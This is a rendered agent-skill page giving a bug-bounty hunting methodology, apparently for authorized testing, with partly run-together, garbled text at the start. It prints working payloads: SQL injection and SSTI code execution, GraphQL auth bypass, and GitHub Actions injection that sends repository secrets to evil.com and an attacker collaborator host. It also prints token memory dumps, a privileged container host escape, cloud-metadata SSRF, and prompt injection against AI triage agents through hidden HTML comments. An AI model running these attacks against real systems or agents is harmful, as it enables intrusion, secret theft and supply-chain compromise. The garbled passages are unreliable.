param-discover — incl. JSON keys, ORDER BY/sort= columns (can't be parameterized → high-yield), LIMIT/offsetX-Forwarded-For, User-Agent, session/auth tokens)'/sleep, then watch a different page render-- 1. confirm it's REAL (don't stop at one error)
' AND 1=1-- vs ' AND 1=2-- → responses differ = boolean oracle = real
-- 2. column count, then a displayable column
' ORDER BY 1-- ↑ N until error → N-1 cols
0' UNION SELECT NULL,'MARKER',NULL-- → find where MARKER renders
-- 3. prove readable data (ONE value is enough for a valid report)
0' UNION SELECT NULL,@@version,NULL-- -- MSSQL/MySQL
0' UNION SELECT NULL,version(),NULL-- -- PostgreSQL
-- one-request dump when proving a sensitive table:
-- MySQL GROUP_CONCAT() · MSSQL/PG STRING_AGG() · Oracle LISTAGG()SQLi that reads a sensitive row (e.g. a config/credentials table) is already a valid, high-severity finding — submit on the readable data, not a lone 500. You do not need RCE.
Escalation (conditional — most SQLi stops at data read). Only if the DB account is
sysadmin/superuser and host exploitation is in program scope does SQLi → OS RCE apply (MSSQLxp_cmdshell, PGCOPY…FROM PROGRAM, MySQLINTO OUTFILE). In BBP this is usually out of scope — prove the data read, note escalation potential in Impact, and don't run it.
{ __schema { types { name fields { name type { name } } } } }# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }[
{"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
{"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
"...100 more..."
]When target has AI agents with tool access, these are the 10 attack classes:
Canonical mapping — single source of truth is skills/llm-redteam/SKILL.md. Mirrored here:
| ID | Vuln Class | What to Test |
|---|---|---|
| ASI01 | Prompt Injection / Goal Hijack | Override objectives via direct or indirect injection |
| ASI02 | Tool Misuse | Attacker-controlled tool params (SSRF via "fetch URL", RCE via code tool) |
| ASI03 | Privilege Compromise | Agent uses broader perms / admin tokens than the user |
| ASI04 | Supply Chain | Compromised plugin / MCP server / tool-output poisoning next agent |
| ASI05 | Code Execution | Unsafe code-interpreter / sandbox escape |
| ASI06 | Memory & Context Poisoning | Persistent RAG/memory corruption across sessions/users |
| ASI07 | Agent Communication | Inter-agent spoofing / IDOR (agent A reads agent B's context) |
| ASI08 | Excessive Agency | Destructive action without confirmation; cascading failures |
| ASI09 | Insecure Output Handling | AI output rendered as XSS / SQLi / command injection downstream |
| ASI10 | Sensitive Information Disclosure | Leaks system prompt / keys / configs / user data |
Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.
X-Forwarded-Host, X-Original-URL, X-Rewrite-URL -- unkeyed headers reflected in response?param=value;poison=xss)/account/settings.css -- trick cache into storing private response)Transfer-Encoding: xchunked, tab prefix, space prefixPOST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLEDFrontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.
Tooling: Use sisakulint for automated SAST — 52 rules, taint propagation across steps/jobs/reusable workflows, 81.6% coverage of GitHub Security Advisories (31/38 GHSAs). Install:
brew install sisakulintor download binary from releases.Quick scan:
sisakulint scan .github/workflows/— flags Critical/High issues with auto-fix suggestions. Remote scan:sisakulint scan --remote owner/repo— scan without cloning.
# Clone target's public repos, then:
find . -name "*.yml" -path "*/.github/workflows/*" | head -50
# Quick grep for dangerous patterns:
grep -rn "pull_request_target\|workflow_run" .github/workflows/
grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/
grep -rn 'secrets\.\|secrets: inherit' .github/workflows/
# Run sisakulint on all workflows:
sisakulint scan .github/workflows/Root cause: Untrusted input (github.event.issue.title, github.event.pull_request.body, branch names, commit messages) interpolated into run: blocks via ${{ }} expressions.
Taint sources (attacker-controlled):
github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref${{ github.event.issue.title }} in run: block = RCE# VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) #
run: echo "${{ github.event.issue.title }}"
# FIXED — use env var (shell-quoted, not expression-interpolated)
env:
TITLE: ${{ github.event.issue.title }}
run: echo "$TITLE"$GITHUB_ENV# VULNERABLE — attacker injects newline + arbitrary VAR=VALUE
run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV
# FIXED — use heredoc delimiter
run: |
{
echo "BRANCH<<EOF"
echo "${{ github.head_ref }}"
echo "EOF"
} >> $GITHUB_ENV$GITHUB_PATH = arbitrary binary execution$GITHUB_OUTPUT without heredoc delimiter = downstream job manipulationdocker run ${{ ... }})# VULNERABLE
run: docker run ${{ github.event.pull_request.body }}
# FIXED — end-of-options marker + env var
env:
INPUT: ${{ github.event.pull_request.body }}
run: docker run -- "$INPUT"curl/wget within workflowRoot cause: Privileged triggers (pull_request_target, workflow_run) checkout attacker's PR code, which then runs with repository secrets.
actions/checkout on pull_request_target without explicit safe ref# VULNERABLE — checks out attacker's PR code with repo secrets
on: pull_request_target
jobs:
build:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # ATTACKER CODE
- run: make build # runs attacker's Makefile with secrets
# FIXED — only checkout base branch, or use read-only permissions
permissions: {}
steps:
- uses: actions/checkout@v4 # checks out base branch by defaultsecrets: inherit passes all secrets to called workflow that processes untrusted inputactions/download-artifact from untrusted workflow_run without validation# VULNERABLE — downloads artifact from untrusted workflow, then executes it
on: workflow_run
steps:
- uses: actions/download-artifact@v4
- run: ./downloaded-binary # attacker-controlled binary
# FIXED — verify artifact hash/signature before executionactions/checkout with persist-credentials: true (default) leaks .git/config credentials in uploaded artifacts# FIXED
- uses: actions/checkout@v4
with:
persist-credentials: falseuses: actions/checkout@v4 (mutable tag) instead of SHA pin# VULNERABLE — tag can be force-pushed
uses: actions/checkout@v4
# FIXED — pinned to immutable commit SHA
uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1image: ubuntu:latest instead of SHA256 digest pincurl https://evil.com/${{ secrets.TOKEN }} in workflow.env, credentials, or hidden files# FIXED — exclude hidden files
- uses: actions/upload-artifact@v4
with:
include-hidden-files: falsefromJson() derived values bypass GitHub's automatic masking# FIXED — manually mask derived secrets
run: |
TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token')
echo "::add-mask::$TOKEN"secrets: inherit — reusable workflow call inherits all secrets when it only needs onepull_request_target or workflow_run with no permissions: {}, no approval gate, no ref restrictionif: contains(github.event.pull_request.labels.*.name, 'approved') is spoofable (attacker can add labels)if: github.actor != 'dependabot[bot]' is trivially bypassed by naming account similarlypermissions: write-all when only contents: read neededallowed_non_write_users: "*" lets any user trigger AI agent execution${{ github.event.issue.body }} interpolated into AI agent prompt parameter1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
b. What secrets are accessible? (check permissions: block, secrets usage)
c. What's the blast radius? (repo secrets → deploy keys → cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tampering# Step 1: Create an issue with injection payload in title
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"
# Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated
# CVSS: 9.3 Critical (RCE with repo secrets)| GHSA | Action | Bug Class | Severity |
|---|---|---|---|
| GHSA-gq52-6phf-x2r6 | tj-actions/branch-names | Expression injection via branch name | Critical |
| GHSA-4xqx-pqpj-9fqw | atlassian/gajira-create | Code injection in privileged trigger | Critical |
| GHSA-g86g-chm8-7r2p | check-spelling/check-spelling | Secret exposure in build logs | Critical |
| GHSA-cxww-7g56-2vh6 | actions/download-artifact | Artifact poisoning (official action) | High |
| GHSA-h3qr-39j9-4r5v | gradle/gradle-build-action | Cache poisoning via untrusted checkout | High |
| GHSA-mrrh-fwg8-r2c3 | tj-actions/changed-files | Supply chain — impostor commit | High |
| GHSA-phf6-hm3h-x8qp | broadinstitute/cromwell | Token exposure via code injection | Critical |
| GHSA-qmg3-hpqr-gqvc | reviewdog/action-setup | Time-bomb via tag pinning | High |
| GHSA-vqf5-2xx6-9wfm | github/codeql-action | Known vulnerable official action | High |
| GHSA-hw6r-g8gj-2987 | pytorch/pytorch | Argument injection in build workflow | Moderate |
Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivotsisakulint findings are potentially exploitable — not confirmed bugs. Every finding needs manual verification. The patterns below are extracted from 36 real-world paid reports ($250K+ total payouts). Each section follows the thinking that led to actual bounty payments.
Gate question: Can an external attacker trigger this workflow AND does the tainted input reach a shell context?
Verification depth:
issues: opened and issue_comment: created are triggerable by ANY GitHub user. pull_request_target is triggerable via fork PR. Check if there's an if: condition filtering by actor/association.cherry-picker.yml passed ${{ github.event.issue.title }} via with: to a composite action in another repo (bazelbuild/continuous-integration). The composite action's action.yml had run: TITLE="${{ inputs.issue-title }}". Conventional scanners (actionlint) missed this because they don't follow uses: into external composite actions. Always fetch and read the composite action's action.yml.${IFS} (Internal Field Separator) and Bash brace expansion {curl,-sSfL,URL} to bypass this. Issue titles/bodies have no such restriction.permissions: at workflow AND job level. No explicit permissions: block = repo default (often write-all). Check env: blocks for ${{ secrets.* }}. Check if GITHUB_TOKEN has write permissions.BAZEL_IO_TOKEN + GITHUB_TOKEN (write-all) → Bazel codebase backdoor capability (affects Google, Kubernetes, Uber, LinkedIn).Kill signals: ${{ contains(...) }} or ${{ startsWith(...) }} returning booleans are NOT injectable — false positive. ${{ github.event.pull_request.labels.*.name }} inside contains() evaluates to true/false, not the label text.
Gate question: Does the workflow checkout attacker-controlled code AND then execute something from that checkout?
Verification depth:
gh pr checkout → gradle/gradle-build-action runs Gradle → Gradle auto-evaluates settings.gradle.kts as Kotlin script. The attacker never wrote a run: command. Any build tool that reads config from the repo is an execution vector: Makefile, package.json (postinstall scripts), setup.py, build.gradle.kts, .cargo/config.toml, Gemfile.issue_comment trigger + refs/pull/${{ github.event.issue.number }}/head checkout. issue_comment runs in base repo context with full secrets. Draft PRs are included. No contributor status check. Always check issue_comment workflows for PR checkout patterns.runs-on: contains self-hosted, check: (a) Is the runner ephemeral? (--ephemeral in config.sh). (b) Is the runner in Docker group? (docker run -v /:/host --privileged). (c) PyTorch pattern: contributor trick (typo fix PR → merge → contributor status → auto-trigger on self-hosted runner without approval) → RoR (Runner-on-Runner: RUNNER_TRACKING_ID=0 + install attacker's runner agent) → wait for privileged workflow → steal PATs from .git/config or process memory.pull_request_target workflows: attacker gets label added (social engineering), workflow checks label exists, attacker pushes malicious commit between check and checkout. The ref: at checkout time resolves to the new commit. Mutable refs (github.event.pull_request.head.sha at trigger time vs checkout time) are the root cause.env | base64, cat /proc/self/environ, gcore $(pgrep Runner.Worker) + strings core.* | grep ghp_. PyTorch attackers got 3 bot PATs → combined them to bypass branch protection on main.Kill signals: if: "!github.event.pull_request.head.repo.fork" blocks external attackers. permissions: {} at workflow level with only contents: read at job level limits damage. Ephemeral runners with --ephemeral flag prevent persistence.
Gate question: Is there a TWO-STAGE workflow pattern where Stage 1 (pull_request, no secrets) uploads artifacts and Stage 2 (workflow_run, with secrets) downloads and uses them?
Verification depth:
needs:) is NOT poisonable because the attacker's PR runs their own build. The dangerous pattern is: pull_request workflow uploads → separate workflow_run workflow downloads. workflow_run triggers on the completion of another workflow and runs in the DEFAULT BRANCH context with full secrets.actions/download-artifact with path: . or workspace-relative paths (grafana-server/bin) can overwrite source code, build scripts, or binaries. Safe pattern: extract to ${{ runner.temp }}/artifacts.workflow_run consumer check github.event.workflow_run.head_repository.full_name != github.repository? If not, fork PR artifacts are consumed blindly. Rust release pipeline was vulnerable to exactly this.actions/checkout defaults to persist-credentials: true. This writes GITHUB_TOKEN to .git/config. If the artifact upload path includes .git/ (e.g., path: .), the token is publicly downloadable from the Actions artifact. Check: does any upload-artifact step use path: . or a broad path that includes .git/?Kill signals: Upload and download in the same workflow run (connected by needs:). workflow_run consumer that explicitly checks fork origin. persist-credentials: false on checkout.
Gate question: Can a fork PR write a cache entry that the default branch later restores in a privileged context?
CRITICAL: GitHub's cache scoping does NOT fully prevent this. A PR branch can read caches from the default branch. A fork PR workflow can WRITE cache entries. If the cache key is deterministic (hashFiles('package-lock.json')) and the attacker doesn't modify that file, the fork PR writes to the SAME cache key.
Verification depth:
key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }} is fully predictable. Adding github.sha or github.run_id to the key makes it unpredictable. Check every cache key for the presence of an unpredictable component.workflow_run and workflow_dispatch workflows run in the default branch context. If they write to caches with predictable keys, an attacker who can trigger the upstream workflow (via fork PR) can pre-poison the cache. The run-dashboard-search-e2e.yml pattern: workflow_run trigger → actions/cache with hashFiles() key → all PR workflows read this cache.node_modules/.cache, ~/.cache/pip, ~/.gradle/caches). The malware self-perpetuates because each restore → build → save cycle preserves the payload. Cache TTL is 7 days — the payload survives across multiple workflow runs.push or schedule workflow on the default branch. These workflows have full secrets access. The poisoned dependency executes during npm install / pip install / gradle build and exfiltrates secrets.npm install from attacker commit → Cacheract in npm cache → nightly publish workflow restores cache → VSCE_PAT, OVSX_PAT, NPM_RELEASE_TOKEN stolen → malicious Cline v2.3.0 published for 8 hours.Kill signals: Cache key includes github.sha or github.run_id. Separate cache keys per workflow. actions/cache/restore (read-only) instead of actions/cache (read-write) in PR workflows.
Gate question: Is a self-hosted runner used in a PUBLIC repo where external contributors can trigger workflows?
Verification depth:
RUNNER_TRACKING_ID=0 prevents the runner from cleaning up attacker processes after job completion. Detached Docker containers (docker run -d --restart always) also survive cleanup.push/schedule workflows → steal tokens from .git/config, $GITHUB_ENV, /proc/PID/environ, or Runner.Worker process memory. PyTorch: 3 bot PATs → 93 repos → AWS S3 write access → pip install pytorch supply chain.docker run -v /:/host --privileged alpine chroot /host → full host root. Add SSH keys, modify sudoers, install persistent backdoors.Kill signals: --ephemeral flag on runner registration. "Require approval for ALL outside collaborators" (not just first-time). Runner not in Docker group. Private repo (no external PRs).
Gate question: Does the workflow use mutable tags (@v1, @v2) for actions, and could those tags be replaced?
Verification depth:
git tag -f v1 <malicious-commit> replaces the tag. 98.4% of repos don't use SHA pinning (Legit Security 2024). tj-actions attack: all version tags (v1, v35, v45) replaced with memdump.py payload → 23K repos affected → 218 confirmed secret leaks.uses:. GitHub resolves it because the SHA exists in the shared object store.MirrorNG/unity-runner → MirrorNG renamed to MirageNet → MirrorNG was claimable. Check: GET /users/<action-owner> returns 404? Takeover possible./proc/PID/maps + /proc/PID/mem, encrypt with AES+RSA, output to workflow log. Logs are publicly visible but encrypted — only attacker has the key.Kill signals: Full 40-char SHA pinning (uses: actions/checkout@b4ffde65...). Dependabot configured for github-actions ecosystem. Organization-level action allowlist.
Gate question: Is an AI agent (Gemini CLI, Claude Code, Cline, Codex) invoked in a workflow where external users can influence the prompt?
Verification depth:
issues: opened → AI triage bot reads github.event.issue.body. The body IS the prompt. HTML comments (e.g. <!-- [attacker override text hidden here] -->) are invisible in GitHub UI but included in the API response and thus in the AI prompt.allowed_non_write_users: "*" means ANY user can trigger.npm install from attacker commit → Cacheract plants in npm cache → nightly publish restores cache → tokens stolen → malicious version published. A prompt injection finding alone may seem low-severity, but it's a gateway to cache poisoning and supply chain attacks.Kill signals: author_association == 'MEMBER' || 'OWNER' check before AI processing. --read-only --no-exec flags on AI CLI. permissions: {} at workflow level.
Not standalone bugs — these are force multipliers. A code-injection-medium with permissions: write-all is Critical. The same injection with permissions: { contents: read } is limited.
Chaining checklist:
secrets: inherit on reusable workflow call → all org secrets accessible to called workflowpermissions: block missing → repo default (often write-all)GITHUB_TOKEN with contents: write → CVE-2022-46258 pattern: use Contents API to create new workflow file → new workflow accesses ALL repo/org secrets (the original workflow never referenced them)Key references:
{{7*7}} -> 49 = Jinja2 / Twig / generic
${7*7} -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %> -> 49 = ERB (Ruby)
#{7*7} -> 49 = Mako / some Ruby
*{7*7} -> 49 = Spring (Thymeleaf)
{{7*'7'}} -> 7777777 = Jinja2 (Twig gives 49){{config.__class__.__init__.__globals__['os'].popen('id').read()}}{{["id"]|filter("system")}}<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}<%= `id` %># Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com
# Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt"There isn't a GitHub Pages site here" -> GitHub Pages
"NoSuchBucket" -> AWS S3
"No such app" -> Heroku
"404 Web Site not found" -> Azure App Service
"Fastly error: unknown domain" -> Fastly CDN
"project not found" -> GitLab Pages
"It looks like you may have typed..." -> ShopifyPOST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
# If reset link = https://attacker.com/reset?token=XXXX -> ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-ServerAfter clicking reset link, if page loads external resources -> token in Referer header to external domain.
# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?
PUT /api/user/email
{"new_email": "attacker@evil.com"}
# If no current_password required -> attacker changes email -> locks out victimCan you link an OAuth account from a different email to an existing account?
GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.
# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common names
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
donehttp://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name, then:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Returns AccessKeyId, SecretAccessKey, Token -> Critical
# GCP (needs header Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure (needs header Metadata: true):
http://169.254.169.254/metadata/instance?api-version=2021-02-01curl -s "https://TARGET-APP.firebaseio.com/.json"
# If data returned -> open read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
# If success -> open write -> Critical/jenkins /grafana /kibana /elasticsearch
/swagger-ui.html /api-docs /phpMyAdmin /adminer.php
/.env /config.json /server-status /actuator/env# K8s API (unauthenticated):
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods
# Docker API:
curl -s http://TARGET:2375/containers/jsonAll 7 must be YES. Any NO -> STOP.
Write the exact HTTP request. If you cannot produce a working request -> KILL IT.
No "the user would need to..." with 5 preconditions. Victim did nothing special.
"Technically possible" is not impact. "I read victim's SSN" is impact.
Check the exact domain/endpoint against the program's scope page.
Search the program's disclosed reports and recent changelog entries.
Check the list below. If it's there and you can't chain it -> KILL IT.
Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?
[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix| Factor | Low (0-3.9) | Medium (4-6.9) | High (7-8.9) | Critical (9-10) |
|---|---|---|---|---|
| Attack Vector | Physical | Local | Adjacent | Network |
| Privileges | High | Low | None | None |
| User Interaction | Required | Required | None | None |
| Impact | Partial | Partial | High | High (all 3) |
| Bug | Typical CVSS | Severity |
|---|---|---|
| IDOR (read PII) | 6.5 | Medium |
| IDOR (write/delete) | 7.5 | High |
| Auth bypass -> admin | 9.8 | Critical |
| Stored XSS | 5.4-8.8 | Med-High |
| SQLi (data exfil) | 8.6 | High |
| SSRF (cloud metadata) | 9.1 | Critical |
| Race condition (double spend) | 7.5 | High |
| GraphQL auth bypass | 8.7 | High |
| JWT none algorithm | 9.1 | Critical |
Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.
N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.
These low findings become valid bugs when chained:
| Low Finding | + Chain | = Valid Bug |
|---|---|---|
| Open redirect | + OAuth code theft | ATO |
| Clickjacking | + sensitive action + PoC | Account action |
| CORS wildcard | + credentialed exfil | Data theft |
| CSRF | + sensitive state change | Account takeover |
| No rate limit | + OTP brute force | ATO |
| SSRF (DNS only) | + internal access proof | Internal network access |
| Host header injection | + password reset poisoning | ATO |
| Self-XSS | + login CSRF | Stored XSS on victim |
Title: [Vuln Class] in [endpoint/feature] leads to [Impact]
## Summary
[2-3 sentences: what it is, where it is, what attacker can do]
## Steps To Reproduce
1. Log in as attacker (account A)
2. Send request: [paste exact request]
3. Observe: [exact response showing the bug]
4. Confirm: [what the attacker gained]
## Supporting Material
[Screenshot / video of exploitation]
[Burp Suite request/response]
## Impact
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]
## Severity Assessment
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: NoneTitle: [Vuln] at [endpoint] -- [Impact in one line]
Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]
Description:
[Root cause + exact location]
Reproduction:
1. [step]
2. [step]
3. [step]
Impact:
[Concrete business impact]
Fix Suggestion:
[Specific remediation][Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]Good titles:
IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited timesBad titles:
IDOR vulnerability found
Broken access control
XSS in user input
Security issue in APIAn [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)When payout is being downgraded, use these counters:
| Program Says | You Counter With |
|---|---|
| "Requires authentication" | "Attacker needs only a free account (no special role)" |
| "Limited impact" | "Affects [N] users / [PII type] / [$ amount]" |
| "Already known" | "Show me the report number -- I searched and found none" |
| "By design" | "Show me the documentation that states this is intended" |
| "Low CVSS score" | "CVSS doesn't account for business impact -- attacker can steal [X]" |
To use this as a Claude Code skill, copy this file to your skills directory:
# Option A: Clone the repo and link the skill
git clone https://github.com/Awarexone/Agentic-Bug-Hunter.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
# Option B: Direct copy
mkdir -p ~/.claude/skills/bug-bounty
curl -s https://raw.githubusercontent.com/Awarexone/Agentic-Bug-Hunter/main/SKILL.md \
-o ~/.claude/skills/bug-bounty/SKILL.mdThen in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.
© awarexone, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file
Just SKILL.md in skills/bug-bounty of awarexone/Agentic-Bug-Hunter.
Open the folder on GitHubat commit 06c0bcb
Bug Bounty next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
| Skill | Stars | Used in | Tokens | Auto-check | Licence | Repo updated |
|---|---|---|---|---|---|---|
| Bug Bounty this skillawarexone/Agentic-Bug-Hunter | 5.3k | — | ~20k | Automated safety check: Warn | MIT | |
| Web2 Vuln ClassesGabson0x/bountyforge | 442 | — | ~11k | Automated safety check: Warn | None | |
| Defending Applicationstelagod/code-abyss | 243 | — | ~777 | Automated safety check: Pass | MIT | |
| Hunt Sqlielementalsouls/Claude-BugHunter | 4.8k | — | ~5.5k | Automated safety check: Pass | MIT | |
| Review Security ReportPrefectHQ/fastmcp | 28k | — | ~1.2k | Automated safety check: Pass | Apache-2.0 | |
| API Security ReviewOWASP/secure-agent-playbook | 187 | — | ~744 | Automated safety check: Pass | CC-BY-4.0 |
Gabson0x/bountyforge
Complete reference for 28 web2 bug classes with root causes, detection patterns, bypass tables, exploit techniques, and real paid examples.
telagod/code-abyss
Application security defense knowledge for builders. An agent skill from telagod/code-abyss.
elementalsouls/Claude-BugHunter
Hunting skill for sqli vulnerabilities. An agent skill from elementalsouls/Claude-BugHunter.
PrefectHQ/fastmcp
Review FastMCP vulnerability reports before accepting, rejecting, patching, scoring, or publishing them.
OWASP/secure-agent-playbook
Comprehensive API security review against OWASP API Security Top 10 (2023).
Encod3d-Sec/TORCH
IDOR / BOLA hunting - two-account methodology, identifier discovery and UUID leak chaining, the trusted-identifier test, GraphQL node and nested-object IDOR, cross-tenant escalation, write and…
awarexone/Agentic-Bug-Hunter
Guides smart contract audits and bounty target selection with ten DeFi bug classes, kill signals, a Foundry PoC template and grep patterns.
awarexone/Agentic-Bug-Hunter
Orchestrates a bug bounty session with a 5-phase workflow and a critical-thinking framework covering developer psychology, anomaly detection and What-If experiments.
awarexone/Agentic-Bug-Hunter
Recovers a client-side request signature or anti-bot token just far enough to replay blocked requests in bug bounty testing, starting from a captured packet.
awarexone/Agentic-Bug-Hunter
Screens EVM and Solana meme coins for rug pull signs such as hidden mint, honeypot logic and fee tricks, starting with fast kill signals before any code review.
awarexone/Agentic-Bug-Hunter
Screens a vulnerability finding with a seven-question gate and pre-submission checks before any report is written, so weak or out-of-scope findings are dropped early.
awarexone/Agentic-Bug-Hunter
Guides writing bug bounty reports for HackerOne, Bugcrowd, Intigriti and Immunefi: impact-first titles, proven claims, CVSS 3.1 scoring and a pre-submit checklist.
Works with
Categories
Complete bug bounty workflow — recon, pre-hunt learning, vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling…. Bug Bounty is an agent skill from awarexone/Agentic-Bug-Hunter.1, PoC generation, submission checklist).
Bug Bounty fits situations like: ANY bug bounty task — recon; hunting specific vulns; auditing source code; testing AI features.
Run `npx skills add awarexone/Agentic-Bug-Hunter --skill bug-bounty -a claude-code`. Or copy the skill folder (skills/bug-bounty in awarexone/Agentic-Bug-Hunter) into .claude/skills/bug-bounty in your project. Claude Code loads it when a task matches its description.
Run `npx skills add awarexone/Agentic-Bug-Hunter --skill bug-bounty -a codex`. Or copy the skill folder (skills/bug-bounty in awarexone/Agentic-Bug-Hunter) into .agents/skills/bug-bounty in your project. Codex loads it when a task matches its description.
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add awarexone/Agentic-Bug-Hunter --skill bug-bounty -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/bug-bounty, .gemini/skills/bug-bounty, .github/skills/bug-bounty and .opencode/skills/bug-bounty in your project.
Going by SKILL.md and its folder, Bug Bounty needs the command-line tools its instructions call (semgrep, curl, python3, pip3, docker and jq) and credentials named GITHUB_TOKEN, BAZEL_IO_TOKEN and NPM_RELEASE_TOKEN. Our summary lists: Python 3.
SKILL.md names 13 domains. In commands or code: hackerone.com and target-app.firebaseio.com; the agent is likely to contact these when it follows the instructions. As links in the text: github.com, sisaku-security.github.io, media.defcon.org, synacktiv.com, bugcrowd.com, intigriti.com, portswigger.net, book.hacktricks.xyz, solodit.cyfrin.io, chaos.projectdiscovery.io and xsshunter.trufflesecurity.com. This is read from the text; nothing was executed.
